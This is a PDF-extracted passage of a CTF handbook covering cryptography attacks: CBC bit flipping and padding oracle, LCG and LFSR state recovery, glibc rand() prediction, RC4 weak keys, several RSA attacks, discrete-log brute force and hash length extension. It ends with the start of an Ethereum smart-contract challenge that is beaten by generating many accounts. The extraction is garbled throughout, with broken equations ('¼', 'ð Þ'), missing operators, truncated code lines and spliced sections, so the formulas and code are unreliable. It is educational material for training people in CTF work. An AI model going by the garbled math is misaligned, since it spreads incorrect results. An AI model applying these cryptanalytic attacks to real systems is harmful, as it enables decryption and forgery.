e_packet = AES128_CBC(packet)
print 'sending encrypted data ({0})'.format(e_packet)
return authenticate(e_packet)
If the encryption result of the data we constructed is exactly equal to the previous
encryption result, it proves that the data used to encrypt the data is the same as the
previous data, and we successfully guessed the first byte of the cookie.
This attack method can be used not only in CBC mode but also in ECB mode for
encryption.
2. CBC-IV-Detection
This attack can be used to obtain unknown IV values in CBC mode. First, decrypt in
CBC mode.
M
P1 ¼ DðC 1 Þ IV
M
P2 ¼ DðC 2 Þ C1
M
P3 ¼ DðC 3 Þ C2
Assume that C1 and C3 are equal at this point, and that C2 is a block of all zeros.
M
P1 ¼ DðC 1 Þ IV
0 0
M
P2 ¼ D ∖x00 BLOCK LEN C1
M
0 0
P3 ¼ DðC 1 Þ ∖x00 BLOCK LEN ¼ DðC 1 Þ
Thus the value of D(C1) is known, and the value of IV can be obtained by XOR
D(C1) with P1.
3. CBC-Bit-Flipping
This attack is common in Web challenges where the ciphertext can be arbitrarily
controlled to affect the deciphered plaintext in the subsequent block by changing the
ciphertext in the previous block, as shown in Fig. 7.22.
After the decryption function, the data will be XORed with the ciphertext of the
previous block, thus control the plaintext decrypted. Of course, since the ciphertext
of the first block is changed, the plaintext of the first block after the decryption
580 7 Crypto
function cannot be controlled, but if the IV can be controlled, the result of the
decryption of the first data set can also be controlled.
As the code above shows, the first byte of the encrypted data is XORed by
3 (to change ‘a’ into ‘b’), and then the decryption operation is performed, you can
see that the first byte character ‘a’ has become ‘b’ in the plaintext of the second
block.
4. CBC-Padding-Oracle
Assuming that we are able to interact with the server and know from the server
whether the padding is normal or not, it is possible to exploit this type of attack. The
information provided by the server is called an oracle in Cryptography, so here the
oracle is a CBC-Padding-Oracle. When using a block cryptography algorithm, the
data is encrypted block by block, and the deficient parts are usually encrypted using
the padding method (PKCS#7 padding algorithm) shown in Fig. 7.23.
If the padding is not correct, the server throws an exception when decrypting. If
you can get the ciphertext Y, then construct the message C ¼ F + Y. You can use a
technique similar to CBC-Bit-Flipping to change the last byte of the plaintext by
modifying the last byte of F.
Usually, F is set to a random value, so there is a high probability that the padding
error will not occur when the last 1 byte of Y is ‘\x01’. If the decryption result of the
penultimate byte is ‘\x02’, and the decryption result of the last 1 byte of Y is ‘\x02’,
no error will be reported, so you can generate a new Y or change the detection
strategy.
When an error-free value of F(n 1) is detected, the plaintext corresponding to
the last 1 byte of Y can be calculated using the following formula.
After getting the last 1-byte value, you can probe the values of other bytes in the
same way. This way, the result of the decryption function can be obtained for the
secret F. In addition, if you have control over the IV used for encryption, you can use
a similar technique to Bit-Flipping to modify the IV and thus control the decrypted
plaintext. Note that the challenges encountered in CTF are generally not the standard
7.3 Block Ciphers 581
key = os.urandom(16)
iv = os.urandom(16)
salt = key
... # Get user's username and password
cookie = b"admin:0;username:%s;password:%s" %(username.encode(),
password.encode())
hv = sha1(salt +cookie)
print("Your cookie:")
... # Outputs cookie, iv, hv
while True:
try:
print("Input your cookie:")
iv, cookie_padded_encrypted, hv # Read from input
cookie_padded # Decrypted cookie with user's input
try:
okie = unpad(cookie_padded)
except Exception as e:
print("Invalid padding")
continue
if not is_valid_hash(cookie, hv):
print("Invalid hash")
continue
... # Check if cookie matches hv
...
... # if admin=1 in cookie, outputs flag
The program does not validate duplicate keys, so you can set the admin flag to
1 by adding an admin:1 string directly after the previous encryption. If there is no
hash verification, you can directly modify the value of iv to change the admin flag to
1 in the result of decrypting the first block of ciphertext.
In order to make the last block of decrypted plaintext contains admin:1, assuming
that the username and password entered are both 5 a’s, you can construct such an
input (Fig. 7.24) to change the last block of plaintext from
582 7 Crypto
(S1)"aaaaa\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b"
to
(S2)"aaaaa;admin:1\x03\x03\x03"
L
The string needs to make the ciphertext of the previous block equal to S1 S.
However, we don't want the value of the second block to be changed, so we need
Lvalue of the first block. If we know the decrypted plaintext
to continue modifying the
of the second block (S1 S2), we can modify the first block's ciphertext in the same
way to control the plaintext of the second block. This is where the Padding-Oracle
attack comes into play. Here is a script to get the decrypted value of the last_chunk2
variable.
Of course, we also need the hash of the newly created cookie to pass the
program's validation, and subsequent chapters will explain the basics of the hash
length extension attack. Note that the Padding-Oracle attack may appear much more
often in CTF than other attacks for block ciphers, so you may want to prepare a
corresponding solving script template ready.
7.4 Stream Cipher 583
Stream Cipher is a symmetric key cipher, whose basic feature is that the encrypting
and decrypting parties use a stream of keys of the same length as the plaintext, which
are combined with the plaintext stream to perform the encryption and decryption.
The key stream is usually a stream of bits generated by a pseudo-random number
generator of some deterministic state, and both parties use the seed of the pseudo-
random number generator as the key, while the combinatorial function is usually a
bit-wise XOR operation. The basic structure of a stream cipher is shown in Fig. 7.25.
Since the initialization of the pseudo-random number generator is a one-time
process and the generation of the key stream is a minor overhead, there is a speed
advantage of stream ciphers for processing longer plaintexts. Accordingly, the
security of the stream cipher depends almost entirely on the randomness of the
data generated by the pseudo-random number generator.
For a safe generator, the following characteristics are generally required.
• The period of the resulting random key stream is large enough.
• The seeds are long enough to resist brute force attacks.
• A change of 1 position in the seed causes a dramatic change in sequence
(avalanche effect).
• The resulting key stream is resistant to statistical analysis, such as frequency
analysis.
• When obtaining a small number of key streams, it is not possible to restore the
state of the entire generator.
In this section, we will introduce the common linear congruential generators in
CTFs, linear feedback shift registers, and RC4, a stream cipher algorithm based on
nonlinear array transformations.
Key
PRNG
Key Stream
where A, B, and M are constants, and an initial value x0 is required as the seed.
From the above equation, it is obvious that the maximum period of the LCG is M.
In the case where M is known, since the equation of the LCG is a simple linear
relation, an equation for A and B can be created if two consecutive xi are obtained.
So if we get two pairs of consecutive xi, we can solve this equation set to solve for
parameters A and B.
If M is unknown, then we need at least 5 consecutive xi:
dn ¼ xnþ1 xn
d nþ1 ¼ xnþ2 xnþ1 ¼ Aðxnþ1 xn Þ ¼ Ad n modM
dnþ2 ¼ xnþ3 xnþ2 ¼ Aðxnþ2 xnþ1 Þ ¼ Ad nþ1 ¼ A2 dn modM
∴dn dnþ2 d2nþ1 ¼ 0modM
So, if we have five or more consecutive xi, we can find M by calculating greatest
common factors of the 4th formula above.
Example 7.3 VolgaCTF Quals 2015, this challenge provides an encryption script
and an encrypted PNG file. The encryption script is as follows.
import struct
import os
M = 65521
class LCG():
def __init__(self, s):
self.m = M
(self.a, self.b, self.state) = struct.unpack('<3H', s[:6])
7.4 Stream Cipher 585
def round(self):
self.state = (self.a*self.state + self.b) % self.m
return self.state
def sanity_check():
# ...
if __name__ == '__main__':
with open('flag.png', 'rb') as f:
data = f.read()
key = os.urandom(6)
enc_data = encrypt(data, key)
with open('flag.enc.bin', 'wb+') as f:
f.write(enc_data)
struct.pack('<H', self.round())
It can be seen from the above line of code that the output of LCG is packed as
2-byte integers in little endian then appended to the keystream. We already know
that for the LCG, the modulus M is 65521, while A and B are not given.
A PNG image is known to be encrypted, and the first 8 bytes of the PNG image
are determined as follows.
89 50 4E 47 0D 0A 1A 0A
We can then perform known plaintext attacks. Read the first 8 bytes of flag.enc.bin
and get the following data.
99 CE 83 E9 5D E0 D8 E0
586 7 Crypto
By splitting the data into 2-byte little endian sequences, the following plaintext pairs
are obtained.
(0x5089, 0xCE99)
(0x474E, 0xE983)
(0x0A0D, 0xE05D)
(0x0A1A, 0xE0D8)
The first four values in the key stream can be obtained by performing the asymptotes
separately.
Since there are A and B unknowns, we can choose three consecutive key values.
Here we choose x1 ¼ 40464, x2 ¼ 44749, x3 ¼ 59984, and plugging into the LCG
equation:
A ¼ 44882mod65521
B ¼ 50579mod65521
Therefore,
x0 37388mod65521
52 AF 93 C5 0C 92
7.4 Stream Cipher 587
Replace the key into the source program, and since the encryption uses an XOR
operation, only an XOR is needed to decrypt the file.
#!/usr/bin/python
if __name__ == '__main__':
with open('flag.png.bin', 'rb') as f:
data = f.read()
key = '\x52\xaf\x93\xc5\x0c\x92'
enc_data = encrypt(data, key)
with open('flag.png', 'wb+') as f:
f.write(enc_data)
The decryption is successful when you get the flag image shown in Fig. 7.26.
In general, the Eq. (7.5) does not necessarily have a solution. In this case, the
modulus M ¼ 65521 is a prime number, which means that for any positive integer
from 1 to 65520, there exists an inverse element to M. If we encounter a case where
the inverse element does not exist, we may need to select another plaintext.
The implementation of the rand() function in the Linux GNU C library is as follows.
As you can see, when using rand_type_0, a standard LCG algorithm is used:
A Shift Register is a component commonly used in digital circuits to shift data from
one location to the next, and is often used to generate serial signals. When the
randomness of the generated sequence signal is sufficiently strong, it can satisfy the
need of keystream in stream cipher. The Linear Feedback Shift Register (LFSR),
which is commonly used in cryptography, consists of a shift register and a feedback
function, where the feedback function is a linear function. When performing
keystream generation, one bit at a time is shifted out of the shift register as the
current result, and the shifted-in bits are determined by the feedback function that
depends on certain bits in the register. The basic structure of the LFSR is shown in
Fig. 7.27.
In order to obtain the maximum period of the LFSR, i.e., 2n-1 for the n-bit LFSR,
the feedback function F is chosen in the following way: an n-th original polynomial
on GF(2) is chosen. For example, when n¼32,
x32 þ x7 þ x5 þ x3 þ x2 þ x þ 1
F
7.4 Stream Cipher 589
That is, the feedback bits are generated by the XOR result of the 32nd, 7th, 5th, 3rd,
2nd, and 1st bits of the register. These bits are called taps and the sequence with the
largest period is called an m-sequence.
Suppose the length of LFSR is n bits, when its output of length 2n is known, if the
equation group has a solution, the feedback function of LFSR can be completely
obtained by solving the linear equation group, so as to break LFSR. For example,
consider an unknown 4-bit LFSR, and we have an output sequence of 10001010, and
since XOR is equivalent to modulo-2 addition, the following linear equation group
can be listed.
8
> 1a0 þ 0a1 þ 0a2 þ 0a3 1 mod 2
>
>
< 0a þ 0a þ 0a þ 1a 0 mod 2
0 1 2 3
>
> 0a þ 0a þ 1a þ 0a 1 mod 2
>
:
0 1 2 3
0a0 þ 1a1 þ 0a2 þ 1a3 0 mod 2
}
else {
int32_t *fptr = buf->fptr;
int32_t *rptr = buf->rptr;
int32_t *end_ptr = buf->end_ptr;
uint32_t val;
val = *fptr += (uint32_t) *rptr;
/* Chucking least random bit */
*result = val >> 1;
++fptr;
if (fptr >= end_ptr) {
fptr = state;
++rptr;
}
else {
++rptr;
if (rptr >= end_ptr)
rptr = state;
}
buf->fptr = fptr;
buf->rptr = rptr;
}
return 0;
fail:
__set_errno (EINVAL);
return -1;
}
This method of generating the next random number is achieved by adding the
numbers in the state array according to fptr and rptr and dividing them by two, much
like the linear feedback method. In the case of TYPE_3, the length of the state array
is 344, and fptr and rptr are the current index minus 31 and the current index minus
3, respectively, so the function for generating the next random number is actually a
linear feedback equation as follows.
si3 þ si31
xi ¼
2
Note that the number shifted into the state array is not the generated random number,
but the number before right shifting 1 bit, so the last bit can be either 0 or 1. There-
fore, after we get 32 random numbers, the next number we predict will have an error
of 1 with a 25% probability, and the error will increase as the number of predictions
increases. However, in most cases it is not necessary to predict too much, so an error
of 1 is sufficient, and if we can continue to get random numbers, we can make
corrections as we predict to reduce the error.
The following is a simple demo for correcting random numbers while making
predictions.
7.4 Stream Cipher 591
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main() {
int s[256] = {0}, i = 0;
srand(time(0));
for (i = 0; i < 32; i++) {
s[i] = rand() << 1;
}
for (i = 32; i < 64; i++) {
s[i] = s[i - 3] + s[i - 31];
int xx = (unsigned int)s[i] >> 1;
int yy = rand();
printf("predicted %d, actual %d\n", xx, yy);
if (yy - xx == 1) {
s[i-3]++;
s[i-31]++;
s[i] += 2;
}
}
return 0;
}
7.4.3 RC4
RC4 is a special stream cipher, proposed by Ronald Rivest in 1987, and is used in
Wired Equivalent Privacy (WEP), which was once one of the algorithms in TLS.
RC4 uses a 0-255 bit key to generate a stream key, which is then XORed with the
plaintext to generate a ciphertext. The RC4 algorithm is very widely used because of
its strength and high computational efficiency.
The pseudo-code (from Wikipedia) of the RC4 algorithm is as follows. The first
step is KSA (Key-Scheduling Algorithm), where the state array S is initialized
according to the input key.
i := 0
j := 0
while GeneratingOutput:
i := (i + 1) mod 256 // a
j := (j + S[i]) mod 256 // b
swap values of S[i] and S[j] // c
k := S[(S[i] + S[j]) % 256]
output K
endwhile
Since RC4 is a stream cipher algorithm, it’s also vulnerable to known plaintext
attacks. If a certain key is used to encrypt n bytes of data and the plaintext is known,
the n-byte stream key can be recovered; if this key is reused, we can then decrypt
other ciphertext. During the actual attack, known plaintext attacks are often used in
case some part of the ciphertext is predictable, such as the header of an HTTP
message.
In particular, when the input key is [0, 0, 255, 254, 253, ..., 2], KSA modifies S
into [0, 1, 2, ..., 255], then the output stream key is S[(2*i) % 256] with a very short
repetition period. Besides, there are also other weak keys for RC4, which can also
generate short period stream keys. So when using the RC4 algorithm in practice, it is
necessary to check the keys in advance.
public key, this serves as a signature and ensures the authentication and
non-repudiation of the message.
The common public-key cryptographic algorithm used in CTF is the RSA
algorithm, which is the basic knowledge that CTF participants must have, and
CTF also involves some cryptosystems related to discrete logarithms and elliptic
curves.
7.5.2 RSA
RSA is one of the most widely used public-key cryptographic algorithm in engi-
neering today. The security of RSA is based on a simple mathematical fact: it is very
simple to compute n ¼ p q for large prime numbers p and q, but quite difficult to
decompose the factors to obtain p and q when n is known.
The basic algorithm for RSA is as follows: select two large prime numbers, p and
q (generally greater than 512 bits, and p is not equal to q) and calculate the
n¼pq
Choose an integer e that is co-prime with φ(n) and calculate d, the inverse of the e,
i.e.
e d 1 mod φðnÞ
Then <n, e> is the public key and <n, d> is the private key. To speed up encryption in
engineering, e is generally chosen as a small but not too small prime number, such as
65537.
With m denoting the plaintext and c denoting the ciphertext, the encryption and
decryption operation is as follows.
c ¼ me mod n
ð 0 m < nÞ
m ¼ cd mod n
ðhpÞq1 1 mod q
i.e.
ðhpÞkφðnÞþ1 hp mod q
Thus
ðhpÞed hp mod q
ðhpÞed hp ¼ tq
Since the left-hand side has the factor p, and q is prime, t must be divisible by p, so
that
ðhpÞed ¼ lpq þ hp
med m mod n
mφðnÞ 1 mod n
Therefore
1. Factorization
Since only p, q, and e are used in the generation of RSA’s private key, if p and q are
successfully recovered, the private key modulus d can be calculated as well. If the
size of n is not too large (no more than 512 bits), it is recommended to try the
factorization method first. Common aids to factorization include SageMath, Yafu,
and factordb (an online factorial search site).
Also, if p and q satisfy some special relationship, we should consider recovering p
and q to break RSA using some specific method. For example, if the difference
between p and q is very small (q is the next prime of p), we can factor n using brute-
force and the following fact:
2
pþq pq 2
pq ¼
2 2
For small RSA public key <n, e> ¼ <16422644908304291, 65537>, since the value
of n is small, consider using the factorization method. Executing factor
(16422644908304291) in Yafu yields the following output.
>> factor(16422644908304291)
***factors found***
P9 = 134235139
P9 = 122342369
ans = 1
596 7 Crypto
Using the gmpy2, the value of the private key d can be calculated.
>>> p = 122342369
>>> q = 134235139
>>> n = p * q
>>> e = 65537
>>> phi = (p-1) * (q-1)
>>> d = gmpy2.invert(e, phi)
>>> d
mpz(8237257961022977)
>>> n = 100000980001501
>>> e = 3
>>> c = 3524799146410
>>> k = 0
>>> while (gmpy2.iroot(c + k * n, e)[1] == False):
. . . k += 1
...
>>> print k, c + k * n, gmpy2.iroot(c + k * n, e)[0]
127 12703649259337037 233333
As you can see, when k ¼ 127, the cube root is an integer, and we find the
plaintext, 233333.
3. Common Modulus
If an RSA cryptosystem uses the same n, different public exponent e1 and e2, where
e1 and e2 are co-prime, and encrypt the same plaintext to obtain the ciphertexts c1 and
c2, then we can compute the plaintext m without knowing the private key.
c1 ¼ me1 mod n
c2 ¼ me2 mod n
xe1 þ ye2 ¼ 1 x, y 2 Z
7.5 Public Key Cryptography 597
where x and y can be solved by the extended Euclidean algorithm. From the above
equation we can get
n = 2124771666608216500972332773682727118139759545978267843010676
1351699
e1 = 65537
e2 = 100003
m = 23333333333333333333333333
c1 = 188875645824871444298132575690116556238363101932264978111748
58766355
c2 = 206060809790236832863013248393231595159994856097839740666461
58762676
First, we use the extended Euclidean algorithm to find x and y in xe1 + ye2 ¼ 1.
Since the time complexity of the extended Euclidean algorithm is O(logn), this
method still works when n is very large.
In CTF, if you encounter a situation where there is only one plaintext, but
encrypted with multiple e, you should first consider using a common modulus attack.
4. Hastad’s Broadcast Attack
For the same plaintext m, if someone uses the same public exponent e and different
moduli n1, n2, ⋯, ni, result in i (i e) ciphertexts, we can use the Chinese
remainder theorem to derive the plaintext. Suppose we have:
8
> c1 ¼ me mod n1
>
>
< c ¼ me mod n
2 2
>⋯
>
>
:
ci ¼ me mod ni
Y
i
ci me mod nj
j¼1
When i e, m is less than all n, then the product of all n must be greater than me, so
we can directly calculate the e-th root of cx to recover the plaintext m.
Consider the following.
n1 = 155311552567157024738576177044868087087181491443402182939895
72553
n2 = 466587666444923816750322714067394105117720828734438345264450
5383
n3 = 211837157440169619167682048828416160310888045617565034605097
63179
e=3
m = 23333333333333333333333333333333333333333333
c1 = 354524635742002775108080151359635480579250745407919898099420
8613
c2 = 270701041056840262362185726147780326022504084737010958702403
6966
c3 = 998836626769926819150463464305884798915796158345290979909044
5547
Continued Fraction. Wiener proposes that if ed ¼ 1 + kφ(n), when q < p < 2q,
satisfying
1 1
d < n4
3
Then, by searching for convergence of the continued fraction e/N, one can efficiently
find k/d, and thus recover the correct d.
Currently, there are well-established implementations for such attacks. For exam-
ple, there is one available on GitHub at https://github.com/pablocelayes/rsa-wiener-
attack. Consider the following RSA public key.
n = 154669541286774112800350345370909838892196173691617426023040
329852908193564023067943
e = 270299357165077706069857972490004423155980990786247624083136
6414804737810584549617
# e,n,d = RSAvulnerableKeyGenerator.generateKeys(1024)
# comment out the above line
e,n = 2702993571650777060698579724900044231559809907862476240831366
414804737810584549617,15466954128677411280035034537090983889
2196173691617426023040329852908193564023067943
d = 246752465
In CTF, if the public key e provided is very large, then the value of d is likely to be
small due to the equal status of e, d when multiplying the product, and this method
should be tried.
6. Coppersmith’s Partial Plaintext Attack
This method, proposed by Don Coppersmith, allows an attack on RSA if the high
bits of the plaintext is known, i.e., m ¼ m0 + x, and m0 is known. This attack can also
be extended to scenarios where less significant of the plaintext is known. A detailed
implementation of the attack can be found at https://github.com/mimoo/RSA-and-
LLL-attacks.
7. RSA LSB Oracle
This is a side-channel attack method. If you can control the decryption process and
use the same unknown private key to decrypt an arbitrary ciphertext and capture the
last bit of the plaintext, then you can use this attack method to decrypt the
corresponding plaintext in O(logn) iterations.
Since we have c ¼ me mod n, then multiply c by 2e mod n, send it to the
server, which decrypts it, and you get
600 7 Crypto
Obviously, 2m is an even number, i.e., the last bit is 0. Since 0< m< n, we get
0<2m<2n, and thus 2m mod n has two potential candidates:
where the result is an even number in the case of 2m or 2m-n¼0, and an odd number
in the other cases. Thus, the relationship between m and n/2 can be determined by
parity, i.e., the last digit of the obtained result: when the obtained result is even
0 < m n/2, otherwise n/2 < m < n. Once the relationship of m and n/2 is determined,
we can determine whether the most significant bit of m is 0 or 1. The idea is to
narrow the search space to recover the value of m bit by bit.
The algorithm can be described using the following pseudocode.
l=0
r=n
while (l != r):
c = c * pow(2, e, n) % n
if get_m_lsb(c) == 0:
r = (l + r) / 2
else:
l = (l + r) / 2
Since RSA is both simple and commonly used, there are many various attacks
against RSA. Due to the limitation of space, only the simplest ones are presented
here. If you want to learn more about attacks against RSA, we recommend reading
this review: Twenty Years of Attacks on the RSA Cryptosystem. There are also many
off-the-shelf implementations of these attacks, such as the RsaCtfTool (https://
github.com/Ganapati/RsaCtfTool) and the aforementioned https://github.com/
mimoo/RSA-and-LLL-attacks.
ððx1 , y1 Þ, ðx2 , y2 ÞÞ
1. Brute-force search
When the value of p is not too large, a brute-force search can be applied since the
value of the discrete logarithm must be in the range 0 to p 1. For example, consider
the following case.
p = 31337
g=5
y = 15676 # y = pow(g, x, p)
for x in range(p):
if (pow(g, x, p) == y):
print(x)
break
# x = 5092
a = 123
b = 234
p = 31337
P = (233, 18927)
Q = (1926, 3590)
Define the elliptic curve and the two points P and Q in Sagemath, write the loop, and
then you can do the violent cracking.
k.<a> = GF(31337)
E = EllipticCurve(k, [123, 234])
P = E([233, 18927])
Q = E([1926, 3590])
tmp = P
for i in range(1, 31337):
if (tmp == Q):
print(i)
break
tmp += P
# 2899
The time complexity of the method is O(n). So you can choose to apply the brute-
force search approach when P is small.
7.6 Other Common Cryptography Applications 603
F = GF(31337)
g = F(5)
y = F(15676)
# Baby step Giant Step algorithm, general, with O(n**1/2) space and time
complexity.
x = bsgs(g, y, (0, 31336), operation='*')
# bsgs
n = bsgs(P, Q, (0, 31336), operation='+')
The Diffie-Hellman (DH) key exchange is a secure protocol that allows a symmetric
key to be negotiated over an insecure channel in the absence of any prior common
knowledge between the two parties. The algorithm was proposed in 1976 by Bailey
604 7 Crypto
Whitfield Diffie and Martin Edward Hellman, and its cryptographic security is based
on the difficulty of solving the discrete logarithm problem.
The DH key exchange algorithm proceeds as follows: suppose Alice and Bob
communicate secretly and need to negotiate a key. First, both parties choose a prime
number p and a generator g of the multiplicative group modulo p, which can be sent
over an insecure channel. For example, choose p ¼ 37 and g ¼ 2. Alice chooses a
secret integer a and computes A ¼ ga mod p then sends it to Bob. For example, for
a ¼ 7, A ¼ 27 mod 37 ¼ 17. Similarly, Bob chooses a secret integer b and
computes B ¼ gb mod p then sends it to Alice. For b ¼ 13, B ¼ 213 mod
37 ¼ 15. At this point, Alice and Bob can jointly derive the key.
Eve knows A, B, e1, e2 and naturally can calculate k1 and k2. When Alice sends an
encrypted message to Bob, Eve intercepts the message, decrypts it with k1 to obtain
the plaintext, and then encrypts the plaintext with k2 and forward it to Bob, who can
use k2 to decrypt the message normally, i.e., he doesn’t know what happens during
the key exchange. The same is true when Bob sends a message to Alice. In this way,
Eve can control the entire session.
7.6 Other Common Cryptography Applications 605
Hash functions are methods for mapping arbitrary bits of information to message
digests of the same bit size. Good Hash Functions are often used for message
authentication because they are irreversible and highly collision resistant. Since
the algorithm of the hash function is public, it is not safe to use the hash function
alone, and an attacker can create a large database of data-hash values to perform
dictionary attacks. To avoid this, a hash function in the form of H(salt | message) is
usually chosen, where the message is preceded by a fixed salt and then hashed.
However, if an MD (Merkle-Damgård) type hash algorithm is used (e.g. MD5,
SHA1, etc.), and the length of the key is known and the message can be controlled,
it is vulnerable to a hash length extension attack.
The feature of MD hash function is that all messages are calculated by filling them
with a 1 bit and several 0 bits until the binary digits length is equal to 512x+448, and
finally a 64bit number is concatenated to represent the length of the original
message. Besides, the MD hash function calculates by blocks, and the intermediate
value of each block becomes the initial vector for the next block. It is easy to see that
if we know an intermediate value and the current length, we can attach other
messages and padding bytes, and then use the intermediate value to keep computing
and get the final hash value. This is how the hash length extension attack works.
For example, consider the following hash value, assuming hello is the unknown
salt and world is the controllable data.
From this hash value, the four register values of MD5 are obtained.
AA = 0x8d035efc
BB = 0x3270a538
CC = 0xe7415408
DD = 0xb01070fe
Since the padding scheme of the MD5 algorithm is known, we can compute the
value of the padded message. Assuming that a new message GG is attached, we can
calculate the message after attaching the new message and then calculate the hash
value of the new message.
Now use hash length expansion to calculate the hash of the new message from the
previous hash value. First, calculate the padding of the new message block and
assemble the new block.
Using the modified MD5 algorithm code, calculate the hash value of a block by
custom IVs. As you can see, the result is equal to the value obtained by the normal
method.
Due to space limitations, the code for the MD5 algorithm is omitted here and if
you are encouraged to complete it on your own.
When using this attack method, we do not care about the specific content of the
message that was originally hashed, but only the length of the original message, i.e.,
the length of the salt | message in the actual application. Since message is often a
user-controlled value, as long as the length of the server-side salt is known, the hash
length extension attack may work. Since the salt is generally not too long, it is
possible to brute force.
Currently, there is a well-established tool for hash length extension attack,
HashPump, which is an open source software and available on GitHub at https://
github.com/bwall/HashPump.
An example of using HashPump is shown in Fig. 7.28. Enter the known hash
value, the data, the length of the salt (key), and the data you want to add, and the two
output lines are the new hash value and the new data.
7.6 Other Common Cryptography Applications 607
Choose n integers x at random and substitute them into the above equation to get
n numbers (x1, f(x1)), (x2, f(x2)), ⋯, (xn, f(xn)), which are the n shares of the
secret message.
To recover the secret message, we only need k shares, and we can obtain the
secret message m by associating the above equations and using Lagrange interpola-
tion or matrix multiplication.
Currently, the common implementation of Shamir’s threshold scheme in CTF
and engineering is the SecretSharing library, the Python version of which is
implemented at https://github.com/blockstack/secret-sharing. The following is the
basic usage of the library.
For example, we divide the plaintext secret into 5 parts, and hold 3 parts to get the
secret:
The recovery operation is as follows, using the first three copies to recover.
>>> PlaintextToHexSecretSharer.recover_secret(shares[0:3])
'the quick brown fox jumps over the lazy dog'
608 7 Crypto
7.7 Summary
In the current CTFs, most cryptography challenges is provided with source code in
Python or other languages and some related information for the participants to
analyze; some challenges combine cryptography with the Web, reverse engineering
or even PWN techniques, so some knowledge of the Web, reverse engineering and
PWN is often required.
Since cryptography is mainly concerned with mathematics, it requires partici-
pants to have a good knowledge of mathematics, such as linear algebra, probability
theory, discrete mathematics, and other courses. Once you have a certain mathemat-
ical foundation, you can further read cryptography-related books and papers to
further improve your abilities. In CTF, most of the challenges that can name the
attack methods are actually among the less difficult ones in cryptography category,
so it is expected that you will be able to explore the principles of attacks in depth,
rather than simply using off-the-shelf tools. For example, when using lattice based
methods to break Knapsack cryptosystem, you need to understand the principles of
constructing lattice so that you can successfully solve similar challenges in the
future.
Chapter 8
Smart Contracts
In CTF competitions, blockchain is a new challenge type that has emerged in recent
years. Many CTF competitions have adopted blockchain challenges, and blockchain
vendors also hold special blockchain competitions. However, the blockchain chal-
lenges appearing in CTF are mainly smart contract challenges. This chapter intro-
duces some ethereum blockchain challenges that have appeared in the past, shares
some of my experience, and leads you into the world of blockchain smart contracts.
© The Author(s), under exclusive license to Springer Nature Singapore Pte Ltd. 2022 609
Nu1L Team, Handbook for CTFers,
https://doi.org/10.1007/978-981-19-0336-6_8
610 8 Smart Contracts
As the old Chinese saying goes, “If a craftsman wants to do good work, he must first
sharpen his tools.” Before studying the ethereum smart contract, the following is an
introduction to the environment and tools that will be used in the ethereum
blockchain challenges.
1. Development environment: Chrome, Remix, MetaMask.
Development of ethereum smart contracts can be done in Chrome because the
Solidity language has an online IDE, Remix (https://remix.ethereum.org). Remix
is an IDE written in JavaScript that compiles the Solidity code written by the user
into bytecode (opcode), and then send transactions to the public ethereum
blockchain network through Chrome’s MetaMask plugin to achieve the effect of
deploying smart contracts and invoking smart contracts.
MetaMask also provides the ability to create a personal ethereum account. If the
current network is set up as a test network, MetaMask will provide users with a link
to get free ethereum.
2. Ethereum blockchain explorer: Etherscan
All the information on the ethereum blockchain can be viewed on Etherscan (https://
ropsten.etherscan.io), which also houses the source code of the smart contract. So, in
many smart contract challenges, all that is needed is the address of the smart contract
on Etherscan and the participant will be able to solve the challenge.
3. Local ethereum environment (not required): geth
Those who prefer to use the command line tools can use the geth program in their
local terminal. geth is an officially available ethereum program, developed in the
Golang language, runs cross-platform, and is open-sourced on Gihtub (https://
github.com/ethereum/go-ethereum). It provides almost all the features we need when
using ethereum, not only to connect to main and test networks, but also to build our
own private networks and connect to other people's private networks. If you encoun-
ter a challenge of private network in ethereum, we recommend using geth. geth can
also mine, send transactions, query blockchain information, run bytecodes for smart
contracts, debug smart contracts, etc. geth provides a series of RPC (Remote
Procedure Call) interfaces that allow users to control them over the network.
However, there is a problem with using the program: it takes too long to
synchronize to the latest block, whether it is a test network or the main network,
and it consumes a lot of hard disk space. The cost is too high for those who
occasionally work on blockchain challenges. A common solution is to use a geth
program to connect to someone else's RPC, such as infura (https://infura.io/). A list
of RPC functions and how to use them can be found in the official documentation
(https://github.com/ethereum/wiki/wiki/JSON-RPC). Although these platforms only
include basic functions, but it is sufficient for most smart contract challenges.
8.2 Examples of Smart Contract Topics in Ethereum 611
8.2.1 “AirDrop”
modifier authenticate {
require(checkfriend(msg.sender));_;
}
function checkfriend(address _addr) internal pure
returns (bool success) {
bytes20 addr = bytes20(_addr);
bytes20 id = hex"000000000000000000000000000000000007d7ec";
bytes20 gg = hex"00000000000000000000000000000000000fffff";
for (uint256 i = 0; i < 34; i++) {
if (addr & gg == id) {
return true;
}
gg <<= 4;
id <<= 4;
}
return false;
}
function PayForFlag(string b64email) public payable authenticate
612 8 Smart Contracts
# python3
from ethereum.utils import privtoaddr
priv = (123).to_bytes(32, "big")
pub = privtoaddr(priv)
print("private: 0x%s\npublic: 0x%s"%(priv.hex(), pub.hex()))
Next, let’s examine how to increase the balance of an account in this contract.
After auditing the code of the contract, we find that the contract has a “AirDrop”
mechanism, where any account has a chance to get a free balance of 1000.
This 1000 balance can only be claimed once per account and is not enough to get
a flag. So we need to audit the rest of the functions.
8.2 Examples of Smart Contract Topics in Ethereum 613
The contract provides the ability to transfer balance to other user, which leads to a
problem: one account can get 1000 for free, and 200000 is needed to get a flag. If
200 accounts transfer their balances to one account, then the balance of that account
is enough to get the flag. The account address is calculated by enumerating the
private key, so it is not difficult to get 200 accounts.
The code for enumerating account address is as follows.
First, it is necessary to register an account with infura to get the individual's RPC
address and interact with the ethereum blockchain via Web3. In the above account
generation function, it starts by randomly generating the salt variable, which is then
used in a loop to generate the private key, in order to reduce the probability of using
the same account with another participant. Note the following functions.
runweb3.eth.getStorageAt(contract, addr)
The function is used to get the value of the specified address in the contract’s store,
contract is the address of the contract, and addr is the location of the “mapping
(address ¼> bool) initialized” variable of the contract in the blockchain storage, so
its purpose is to detect whether the account number has claimed an airdrop. The
location of the smart contract’s variable in the blockchain storage will be explained
614 8 Smart Contracts
in detail in the following chapters, but we will skip the calculation process here
for now.
After being able to generate an account number at will, the next step is to use the
script to send a transaction to the smart contract to claim the airdrop and transfer the
